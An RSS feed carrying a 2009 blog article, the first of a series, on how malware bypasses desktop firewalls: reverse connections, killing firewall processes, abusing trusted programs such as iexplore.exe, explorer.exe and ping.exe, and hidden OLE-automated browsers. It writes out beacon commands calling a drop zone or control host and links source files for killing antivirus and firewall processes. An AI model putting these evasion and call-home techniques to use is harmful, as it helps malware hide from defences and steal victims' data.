<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title> &#187; calling home</title>
	<atom:link href="http://www.megapanzer.com/tag/calling-home/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.megapanzer.com</link>
	<description></description>
	<lastBuildDate>Fri, 23 Dec 2011 13:02:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Twelve ways how hackers bypass your desktop firewall (1 of 3)</title>
		<link>http://www.megapanzer.com/2009/03/31/eight-ways-how-hackers-bypass-your-desktop-firewall/</link>
		<comments>http://www.megapanzer.com/2009/03/31/eight-ways-how-hackers-bypass-your-desktop-firewall/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 12:01:00 +0000</pubDate>
		<dc:creator>carrumba</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[calling home]]></category>
		<category><![CDATA[DNS tunnel]]></category>
		<category><![CDATA[firewall]]></category>

		<guid isPermaLink="false">http://www.megapanzer.com/?p=647</guid>
		<description><![CDATA[There were days when we were connected to the Internet without being afraid someone could intrude our computers and install malicious programs to steal our account and credit card information or accounting data from our computers. At least we thought so but actually that time never really existed somewhen in the year 1997, the medieval [...]]]></description>
			<content:encoded><![CDATA[<glossarycode><glossarycode><glossarycode><glossarycode><glossarycode><glossarycode><glossarycode><glossarycode><glossarycode><glossarycode><glossarycode><glossarycode><p><img class="alignright size-full wp-image-1041" title="locks_logo.jpg" src="http://www.megapanzer.com/wp-content/uploads/locks_logo.jpg" alt="locks_logo.jpg" width="134" height="128" /> There were days when we were connected to the Internet without being afraid someone could intrude our computers and install malicious programs to steal our account and credit card information or accounting data from our computers. At least we thought so but actually that time never really existed somewhen in the year 1997, the medieval of the Internet. The people were happy being &#8220;on-line&#8221;, having a good down link speed (33.6 kbps was lightning fast and 56k modems emerged on the horizon). Spam was the only real problem people had to deal with. <span id="more-647"></span>The computers were connected directly to the Internet and were protected neither by a NAT router nor a desktop <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewall</a>. Microsoft was struggling with their unstable TCP/IP stack and Windows 95 experienced a series of <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: DoS" target="_blank">DoS</a> attacks. File shares were activated by default and accessible directly from the Internet. If one didn&#8217;t restrict the file sharing access with a password everyone who was connected to the internet could access and copy that data, too.<br />
This disastrous situation opened a new segment to the computer and software industries. The first desktop <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewalls</a> popped up on the market, protecting us from the annoying <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: DoS" target="_blank">DoS</a> attacks and the accidentally authorised access to private data. For the end user it was difficult to understand what a desktop <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewall</a> does, how it does its job and it was even more difficult to configure it and keeping control over that new beast. So 1997 was the advent of the desktop <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewalls</a> (a.k.a personal <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewall</a>). This type of <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewall</a> passed an intensive development and now after 12 years its look and feel has changed completely. It grew together with the threats from that time, it had to adapt to them and the result is a handy and effective software that is protecting us from the digital parasites coming from the Internet. As long as we don&#8217;t notice its presence, no alert window pops up on the desktop and no suspicious behaviour of the computer, everything is fine. This is the point where the <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1210" title="Glossary: Malware" target="_blank">malware</a> writers and also the analysts have to start their work to find out what ways exists to intrude a system and how to act on a victim system without triggering an alert.<br />
In this three part series I will shed some light into this matter and explain ways how attackers try to overcome the obstacles they face when trying to bypass a desktop <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewall</a>.</p>
<p><strong>Why <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1210" title="Glossary: Malware" target="_blank">malware</a> is <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Calling home" target="_blank">calling home</a></strong></p>
<p>The <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1214" title="Glossary: Trojan horse" target="_blank">Trojan horse</a> was configured, customized and unleashed into the wild to do what ever it was ordered to. Once it reaches a new system and dropped the damage routine successfully the client has to be informed about that. What place did the Trojan  reach, how does the configuration over there look like and some other details that might be important to the attacker. Furthermore, collecting sensitive data like local account information, browser history, the users keystrokes, screen and web cam shots, the result is always output data that is saved in files. Data that has to be transferred to the drop zone where the attacker can collect it. This are typical situations when the trojan server establishes a network connection.</p>
<p>Other reasons to establish a connection are</p>
<ul>
<li>Installing a new plugin to extend the trojans capabilities</li>
<li>Installing a new version of the <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1214" title="Glossary: Trojan horse" target="_blank">trojan horse</a></li>
<li>Receiving instructions from the trojan client</li>
<li><a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1210" title="Glossary: Malware" target="_blank">Malware</a> propagation</li>
<li>Damage routines like click bots, spam bots or <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: DDoS" target="_blank">DDoS</a> bots</li>
</ul>
<p><strong>1. <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Reverse connection" target="_blank">Reverse connection</a> </strong></p>
<p>As the hardware suppliers and the Internet access providers  abandoned the pure DSL/cable  modems and started selling only appliances with <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewalling</a> and Network Address Translation (NAT) capabilities the <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1210" title="Glossary: Malware" target="_blank">malware</a> programmers faced a problem : they couldn&#8217;t connect to their infected victim systems anymore. They were locked out. But only for a short moment. They decided to change the draft and let victim systems establish a <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Reverse connection" target="_blank">reverse connection</a> to the central, the controlling client system. There was no other choice than to switch to the new concept and nowadays all <em>clients</em> (the command and control servers) and <em>drop zones</em> communicate that way with their victim systems. In principle this is not mainly a matter of circumventing a PFW but rather a way to encounter the obstacles imposed by the NAT routers. Circumventing that way a desktop <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewall</a> was only a nice side effect that was usable in the early days where only incoming traffic was filtered. After a short time the PFW vendors started controlling traffic in both directions.</p>
<p><strong>2. Deactivate the personal <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewall</a> software</strong></p>
<p><em>Personal <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewalls</a></em> (PFW) became a vital component on a computer to defend against the steadily changing and growing amount of <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1210" title="Glossary: Malware" target="_blank">malware</a> straying through the Internet. But because a desktop <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewall</a> is only a software that was once installed on the computer and not integrated into the core of the operating system it is also possible to uninstall it. For an attacker this is not necessary and would go much to far. It is sufficient just deactivating it by stopping their running processes, services or drivers which can be accomplished quite easily via the Win32 API. Once it is deactivated the <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1210" title="Glossary: Malware" target="_blank">malware</a> can establish network connections without triggering an alert. This sounds like an easy task for a <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1210" title="Glossary: Malware" target="_blank">malware</a> programmer. Just keeping up to date the list containing the processes and services of the most used PFWs, deactivate them and you are on the safe side. The AV (Anti <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=3302" title="Glossary: Virus" target="_blank">Virus</a>) and PFW vendors observed this technique and introduced a simple remedy: Every time someone/something was trying to stop a <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewall</a> driver or a vital process a popup message apperaed on the desktop informing the user about this event and recommended to stop it if not explicitly required.</p>
<p>Example source : <a href="http://www.megapanzer.com/wp-content/uploads/kill_av_pfw.cpp" target="_blank">kill_av_pfw.cpp</a></p>
<p><strong>3.1 Trusted application iexplorer.exe </strong></p>
<p><img class="alignright size-full wp-image-1045" title="ie_logo.jpg" src="http://www.megapanzer.com/wp-content/uploads/ie_logo.jpg" alt="ie_logo.jpg" width="131" height="131" /> Desktop <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewalls</a> distinguish between trusted and untrusted applications and maintain a white list with the names and binary fingerprints of the programs that were allowed by the user to establish a network connection. If a program is not inside this list and tries to establish a connection the PFW triggers an alert. Typical programs that are inside the white list are &#8220;Mozilla Firefox&#8221; &#8220;Internet Explorer&#8221;, your email program, the Microsoft Windows file explorer &#8220;explorer.exe&#8221;, svchost.exe and so on. Also attackers noticed this circumstance and toke advantage of it by diverting it from its intended use. Instead of creating directly a socket connection to the drop-zone or to the trojan client they used the trusted applications as proxies and made them send the data instead. Let&#8217;s have a look at it by taking iexplore.exe as first example. The attacker intends to connect back to the trojan client and inform it the <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1245" title="Glossary: Dropper" target="_blank">dropper</a> reached a new victim and installed the trojan server successfully. We can use the Microsoft Internet Explorer to connect back to the client and pass inside its parameters the status of the infection and information about the new compromised victim system.<br />
The IE (Internet Explorer) can normally be found under the following path : &#8220;c:\Program Files\Internet Explorer\iexplore.exe&#8221;. Depending on language Microsoft Windows was installed the directory &#8220;Program Files&#8221; will probably vary.<br />
Call the IE as follows to connect to the client :</p>
<p style="padding-left: 30px;">iexplore.exe http//mothership.megapanzer.com/<a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: SIN" target="_blank">SIN</a>.php?ID=31337</p>
<p>and as you probably expected a new instance of the IE will appear. That way the IE will act as proxy application between the malicious software and the client system. The attacker benefits from this circumstance because the IE is a trusted application and wont trigger the alert bells. A nice side effect is if the victim system is situated within a network that requires a proxy server to communicate with computers in the Internet the IE will handle proxy server communication for you.</p>
<p>If you think now it is completely unusable like this and wont hide the attackers presence on the target system at all because the victim can see him you are right. But let&#8217;s finish these examples here and read in the following sub chapter how an attacker can use OLE Automation to hide the new IE instance. From that point on everything will be alright again and none will notice someone else is logged in.</p>
<p><strong>3.2 Trusted applications explorer.exe</strong></p>
<p>Smarter PFW also check which programs are starting the programs that establish a connection. If for example megapanzer.exe would call the IE the alert bells and sirens will start ringing.<br />
An attacker has the possibility to make other, trusted programs call it instead. explorer.exe, a close relative of the iexplore.exe and used to explore the local file system, will do that job just fine. The only thing an attacker has to do is to replace the iexplorer.exe by the explore.exe command and execute it. The explorer.exe recognizes the passed parameter is neither a directory nor a file but a URL and will therefore execute the IE for us. The command line would look like this :</p>
<p style="padding-left: 30px;">explorer.exe http//mothership.megapanzer.com/<a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: SIN" target="_blank">SIN</a>.php?ID=31337</p>
<p><strong>3.3 Trusted applications ping.exe</strong></p>
<p>An other rather esoteric approach is using the ping.exe command <img class="alignright size-medium wp-image-1051" title="dingdong.jpg" src="http://www.megapanzer.com/wp-content/dingdong-300x216.jpg" alt="dingdong.jpg" width="144" height="103" />and sending customized ICMP packets directly to the client/drop zone. Ping.exe for example allows to define the length of the ICMP data buffer and some of the IP flags. For example on a trojan server an attacker can assign the data buffer size parameter a specific value to signalize the trojan client/drop zone one of its victim systems is up. To transport data inside such an ICMP packet the attacker can use the TOS byte.</p>
<p style="padding-left: 30px;">ping -l 1337 -i 8 <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1272" title="Glossary: Dropzone" target="_blank">dropzone</a>.megapanzer.com<br />
Pinging 192.168.100.1 with 1337 bytes of data:<br />
Reply from 192.168.100.1: Bytes=1337 time=1ms TTL=64<br />
Reply from 192.168.100.1: Bytes=1337 time=1ms TTL=64<br />
Reply from 192.168.100.1: Bytes=1337 time=1ms TTL=64<br />
Reply from 192.168.100.1: Bytes=1337 time=1ms TTL=64</p>
<p>Of course this is not really effective if the attacker wants to transmit a lot of data. But just to send a regular &#8220;Alive&#8221; packet and maybe two or three side information it would be absolutely sufficient. An other precondition is the direct connection to the trojan client/drop zone and not to pass an application layer <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewall</a>/gateway that reconstructs the packet again and purges the customized IP settings.</p>
<p><strong>4. OLE Automation</strong><br />
A nice feature developed by Microsoft is the inter process communication mechanism <em>OLE Automation</em> (Object Linking and Embedding) that allowed programmers to automate routine tasks when other applications were involved. So it is possible to make Microsoft Outlook or Internet Explorer scriptable and tedious routine work is done with a double click. The only precondition that has to be fulfilled the target application has to support the OLE interface.<br />
This is a quite handy feature also for attackers in regard a browser like Internet Explorer is a trusted application that doesn&#8217;t trigger the alert bell on a computer when connecting to the Internet. That way an attacker starts an invisible instance (yes, you can start it invisibly) of the Internet Explorer and instruct it to send requests to the trojan client/drop zone.<br />
The Internet Explorer OLE interface is a powerful feature and lets the attacker send GET or POST requests, change the HTTP headers, observe and control the request and receive and evaluate responses from the peer.</p>
<p>Example source : <a href="http://www.megapanzer.com/wp-content/uploads/ole_automation.cpp" target="_blank"> ole_automation.cpp</a></p>
<p><strong>What’s coming up in the second part</strong><br />
This was the untechnical part with much background information that didn&#8217;t require a lot of technical skills. In the next article we will dive more into source code which you can use to study and use for your own tests. In the next part I will explain the following <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Firewall" target="_blank">firewall</a> bypassing techniques :</p>
<ul>
<li>DLL injection (the <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=2040" title="Glossary: FWB++" target="_blank">FWB</a> technique)</li>
<li>Process injection (the <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=2040" title="Glossary: FWB++" target="_blank">FWB</a>++ technique)</li>
<li>Finding the address of the original function call (the <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=2040" title="Glossary: FWB++" target="_blank">FWB</a># technique)</li>
<li>DNS tunnel</li>
</ul></glossarycode></glossarycode></glossarycode></glossarycode></glossarycode></glossarycode></glossarycode></glossarycode></glossarycode></glossarycode></glossarycode></glossarycode>]]></content:encoded>
			<wfw:commentRss>http://www.megapanzer.com/2009/03/31/eight-ways-how-hackers-bypass-your-desktop-firewall/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

